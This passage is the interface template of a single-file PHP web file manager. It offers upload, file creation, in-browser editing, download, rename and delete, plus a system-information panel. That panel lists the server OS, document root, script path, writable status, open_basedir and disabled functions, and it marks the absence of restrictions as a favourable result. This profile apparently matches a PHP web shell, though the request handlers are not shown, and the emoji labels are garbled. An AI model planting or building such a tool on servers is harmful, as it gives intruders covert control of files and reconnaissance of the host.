' ' . php_uname('r')); ?><br> PHP <?php echo PHP_VERSION; ?> </div> </header> <!-- Toolbar --> <div class="toolbar"> <?php echo buildBreadcrumbs($activeDir, $csrfToken); ?> <div class="toolbar-actions"> <a href="?" class="btn btn-secondary">đ Files</a> <a href="?action=upload" class="btn btn-secondary">đ¤ Upload</a> <a href="?action=create" class="btn btn-secondary">â New</a> <a href="?action=info" class="btn btn-secondary">âšī¸ Info</a> <?php if ($hasParentDir): ?> <a href="?cd=<?php echo urlencode($parentDir); ?>&token=<?php echo $csrfToken; ?>" class="btn btn-secondary">âŦī¸ Up</a> <?php endif; ?> </div> </div> <!-- Main Content --> <main class="main-content"> <!-- Status Message --> <?php if (!empty($statusMessage)): ?> <div class="status-message status-<?php echo $statusType; ?>"> <?php echo escapeOutput($statusMessage); ?> </div> <?php endif; ?> <?php if ($currentAction === 'upload'): ?> <!-- Upload Panel --> <div class="form-panel"> <h3>đ¤ Upload File</h3> <p style="font-size:0.85rem; color:var(--color-text-muted); margin-bottom:16px;"> Destination: <strong><?php echo escapeOutput($activeDir); ?></strong><br> Maximum size: <?php echo formatFileSize($appConfig['max_file_size']); ?> </p> <form method="post" enctype="multipart/form-data"> <input type="hidden" name="csrf_token" value="<?php echo $csrfToken; ?>"> <div class="form-row"> <input type="file" name="upload_file" class="form-input" required> <button type="submit" class="btn btn-primary">Upload</button> </div> </form> </div> <?php elseif ($currentAction === 'create'): ?> <!-- Create Panel --> <div class="form-panel"> <h3>â Create New Item</h3> <form method="post" style="margin-bottom:16px;"> <input type="hidden" name="csrf_token" value="<?php echo $csrfToken; ?>"> <div class="form-row"> <input type="text" name="new_folder_name" class="form-input" placeholder="New folder name..."> <button type="submit" class="btn btn-primary">đ Create Folder</button> </div> </form> <form method="post"> <input type="hidden" name="csrf_token" value="<?php echo $csrfToken; ?>"> <div class="form-row"> <input type="text" name="new_file_name" class="form-input" placeholder="New file name (e.g., config.php)..."> <button type="submit" class="btn btn-success">đ Create File</button> </div> </form> </div> <?php elseif ($currentAction === 'info'): ?> <!-- System Info Panel --> <div class="form-panel"> <h3>âšī¸ System Information</h3> <div class="alert alert-info" style="margin-bottom:20px;"> Server and PHP configuration details for administrative reference. </div> <table class="info-table"> <tr> <td class="label-cell">Server Software</td> <td><?php echo escapeOutput($_SERVER['SERVER_SOFTWARE'] ?? 'N/A'); ?></td> </tr> <tr> <td class="label-cell">PHP Version</td> <td><?php echo PHP_VERSION; ?></td> </tr> <tr> <td class="label-cell">Operating System</td> <td><?php echo escapeOutput(php_uname()); ?></td> </tr> <tr> <td class="label-cell">Server IP</td> <td><?php echo escapeOutput($_SERVER['SERVER_ADDR'] ?? 'N/A'); ?></td> </tr> <tr> <td class="label-cell">Your IP</td> <td><?php echo escapeOutput($_SERVER['REMOTE_ADDR'] ?? 'N/A'); ?></td> </tr> <tr> <td class="label-cell">Document Root</td> <td><?php echo escapeOutput($_SERVER['DOCUMENT_ROOT'] ?? 'N/A'); ?></td> </tr> <tr> <td class="label-cell">Script Location</td> <td><?php echo escapeOutput(__FILE__); ?></td> </tr> <tr> <td class="label-cell">Current Directory</td> <td><?php echo escapeOutput($activeDir); ?></td> </tr> <tr> <td class="label-cell">Directory Writable</td> <td><?php echo is_writable($activeDir) ? '<span style="color:var(--color-success);">â Yes</span>' : '<span style="color:var(--color-danger);">â No</span>'; ?></td> </tr> <tr> <td class="label-cell">Disk Free Space</td> <td><?php echo formatFileSize(disk_free_space($activeDir)); ?></td> </tr> <tr> <td class="label-cell">Disk Total Space</td> <td><?php echo formatFileSize(disk_total_space($activeDir)); ?></td> </tr> <tr> <td class="label-cell">upload_max_filesize</td> <td><?php echo ini_get('upload_max_filesize'); ?></td> </tr> <tr> <td class="label-cell">post_max_size</td> <td><?php echo ini_get('post_max_size'); ?></td> </tr> <tr> <td class="label-cell">memory_limit</td> <td><?php echo ini_get('memory_limit'); ?></td> </tr> <tr> <td class="label-cell">max_execution_time</td> <td><?php echo ini_get('max_execution_time'); ?> seconds</td> </tr> <?php $openBasedir = ini_get('open_basedir'); $disabledFunctions = ini_get('disable_functions'); ?> <tr> <td class="label-cell">open_basedir</td> <td><?php echo $openBasedir ? escapeOutput($openBasedir) : '<span style="color:var(--color-success);">Not restricted</span>'; ?></td> </tr> <tr> <td class="label-cell">Disabled Functions</td> <td style="font-size:0.8rem;"><?php echo $disabledFunctions ? escapeOutput($disabledFunctions) : '<span style="color:var(--color-success);">None</span>'; ?></td> </tr> </table> </div> <?php elseif ($currentAction === 'view' && !empty($viewContent)): ?> <!-- View Panel --> <div class="form-panel"> <div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:16px; flex-wrap:wrap; gap:12px;"> <h3>đī¸ Viewing: <?php echo escapeOutput(basename($_GET['view'])); ?></h3> <div style="display:flex; gap:8px;"> <?php if (isEditableFile($_GET['view'])): ?> <a href="?edit=<?php echo urlencode($_GET['view']); ?>&token=<?php echo $csrfToken; ?>" class="btn btn-primary btn-sm">âī¸ Edit</a> <?php endif; ?> <a href="?download=<?php echo urlencode($_GET['view']); ?>&token=<?php echo $csrfToken; ?>" class="btn btn-secondary btn-sm">đĨ Download</a> <a href="?" class="btn btn-secondary btn-sm">â Back</a> </div> </div> <?php echo $viewContent; ?> </div> <?php elseif ($currentAction === 'edit' && !empty($editFilename)): ?> <!-- Edit Panel --> <div class="form-panel"> <div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:16px; flex-wrap:wrap; gap:12px;"> <h3>âī¸ Editing: <?php echo escapeOutput($editFilename); ?></h3> <a href="?" class="btn btn-secondary btn-sm">â Back</a> </div> <form method="post"> <input type="hidden" name="csrf_token" value="<?php echo $csrfToken; ?>"> <input type="hidden" name="editing_filename" value="<?php echo escapeOutput($editFilename); ?>"> <input type="hidden" name="save_file_content" value="1"> <textarea name="file_content" class="editor-textarea" id="editorArea"><?php echo escapeOutput($editContent); ?></textarea> <div class="editor-footer"> <span style="font-size:0.8rem; color:var(--color-text-muted);"> Size: <?php echo formatFileSize(strlen($editContent)); ?> | Lines: <?php echo substr_count($editContent, "\n") + 1; ?> </span> <div style="display:flex; gap:10px;"> <a href="?view=<?php echo urlencode($editFilename); ?>&token=<?php echo $csrfToken; ?>" class="btn btn-secondary">đī¸ Preview</a> <button type="submit" class="btn btn-success">đž Save Changes</button> </div> </div> </form> </div> <?php else: ?> <!-- File Listing --> <?php if (empty($directoryItems)): ?> <div class="empty-directory"> <div class="empty-icon">đ</div> <p>This directory is empty.</p> <p style="margin-top:10px;"> <a href="?action=upload" class="btn btn-primary">Upload Files</a> <a href="?action=create" class="btn btn-secondary" style="margin-left:10px;">Create New</a> </p> </div> <?php else: ?> <div style="overflow-x:auto;"> <table class="file-list-table"> <thead> <tr> <th style="width:40%;">Name</th> <th style="width:12%;">Size</th> <th class="col-perms" style="width:12%;">Permissions</th> <th class="col-owner" style="width:14%;">Owner</th> <th style="width:15%;">Modified</th> <th style="width:17%;">Actions</th> </tr> </thead> <tbody> <?php foreach ($directoryItems as $item): ?> <tr> <td class="file-name-cell"> <?php if ($item['is_dir']): ?> <a href="?cd=<?php echo urlencode($item['path']); ?>&token=<?php echo $csrfToken; ?>"> <span class="file-icon"><?php echo $item['icon']; ?></span> <?php echo escapeOutput($item['name']); ?> </a> <?php else: ?> <span class="file-icon"><?php echo $item['icon']; ?></span> <?php echo escapeOutput($item['name']); ?> <?php endif; ?> </td> <td class="size-text"> <?php echo $item['is_dir'] ? '-' : formatFileSize($item['size']); ?> </td> <td class="col-perms"> <span class="perms-text"><?php echo $item['perms']; ?></span> </td> <td class="col-owner"> <span class="owner-text"><?php echo $item['owner']; ?></span> </td> <td class="date-text"> <?php echo date('Y-m-d H:i', $item['mtime']); ?> </td> <td> <div class="file-actions-cell"> <?php if (!$item['is_dir']): ?> <?php if ($item['is_image']): ?> <a href="?view=<?php echo urlencode($item['name']); ?>&token=<?php echo $csrfToken; ?>" class="action-btn">đī¸ View</a> <?php elseif (isEditableFile($item['name'])): ?> <a href="?view=<?php echo urlencode($item['name']); ?>&token=<?php echo $csrfToken; ?>" class="action-btn">đī¸ View</a> <a href="?edit=<?php echo urlencode($item['name']); ?>&token=<?php echo $csrfToken; ?>" class="action-btn">âī¸ Edit</a> <?php else: ?> <a href="?view=<?php echo urlencode($item['name']); ?>&token=<?php echo $csrfToken; ?>" class="action-btn">đī¸ View</a> <?php endif; ?> <a href="?download=<?php echo urlencode($item['name']); ?>&token=<?php echo $csrfToken; ?>" class="action-btn">đĨ</a> <?php else: ?> <a href="?cd=<?php echo urlencode($item['path']); ?>&token=<?php echo $csrfToken; ?>" class="action-btn">đ Open</a> <?php endif; ?> <button onclick="showRenameModal('<?php echo escapeOutput(addslashes($item['name'])); ?>')" class="action-btn">âī¸</button> <a href="?delete=<?php echo urlencode($item['name']); ?>&token=<?php echo $csrfToken; ?>" class="action-btn delete-btn" onclick="return confirm('Delete \"<?php echo escapeOutput(addslashes($item['name'])); ?>\"?');">đī¸</a> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <div style="margin-top:16px; padding:12px 16px; background:#f8fafc; border-radius:6px; font-size:0.8rem; color:var(--color-text-muted);"> <?php $dirCount = 0; $fileCount = 0; $totalSize = 0; foreach ($directoryItems as $item) { if ($item['is_dir']) { $dirCount++; } else { $fileCount++; $totalSize += $item['size']; } } echo $dirCount . ' folder' . ($dirCount !== 1 ? 's' : '') . ', '; echo $fileCount . ' file' . ($fileCount !== 1 ? 's' : '') . ', '; echo 'Total: ' . formatFileSize($totalSize); ?> </div> <?php endif; ?> <?php endif; ?> </main> <!-- Footer --> <footer class="app-footer"> <?php echo escapeOutput($appConfig['app_name']); ?> v<?php echo $appConfig['version']; ?> | PHP <?php echo PHP_VERSION; ?> | © <?php echo date('Y'); ?> System Administrator </footer> </div> <!-- Rename Modal --> <div class="modal-overlay" id="renameModal"> <div class="modal-box"> <h3>âī¸ Rename Item</h3> <form method="post" id="renameForm"> <input type="hidden" name="csrf_token" value="<?php echo $csrfToken; ?>"> <input type="hidden" name="original_name" id="renameOriginalName" value=""> <p>Original: <strong id="renameDisplayOriginal"></strong></p> <input type="text" name="new_name" class="modal-input" id="renameNewName" placeholder="Enter new name..." required> <div class="modal-actions"> <button type="button" class="btn btn-secondary" onclick="closeRenameModal()">Cancel</button> <button type="submit" class="btn btn-primary">Rename</button> </div> </form> </div> </div> <!-- JavaScript --> <script> // Rename Modal Functions function showRenameModal(itemName) { document.getElementById('renameOriginalName').value = itemName; document.getElementById('renameDisplayOriginal').textContent = itemName; document.getElementById('renameNewName').value = itemName; document.getElementById('renameModal').classList.add('active'); document.getElementById('renameNewName').focus(); document.getElementById('renameNewName').select(); } function closeRenameModal() { document.getElementById('renameModal').classList.remove('active'); } // Close modal on overlay click document.getElementById('renameModal').addEventListener('click', function(e) { if (e.target === this) { closeRenameModal(); } }); // Close modal on Escape key document.addEventListener('keydown', function(e) { if (e.key === 'Escape') { closeRenameModal(); } }); // Handle Tab key in editor document.addEventListener('DOMContentLoaded', function() { var editor = document.getElementById('editorArea'); if (editor) { editor.addEventListener('keydown', function(e) { if (e.key === 'Tab') { e.preventDefault(); var start = this.selectionStart; var end = this.selectionEnd; this.value = this.value.substring(0, start) + ' ' + this.value.substring(end); this.selectionStart = this.selectionEnd = start + 4; } }); } }); </script> </body> </html>
âī¸ Rename Item
Original:
Cancel
Rename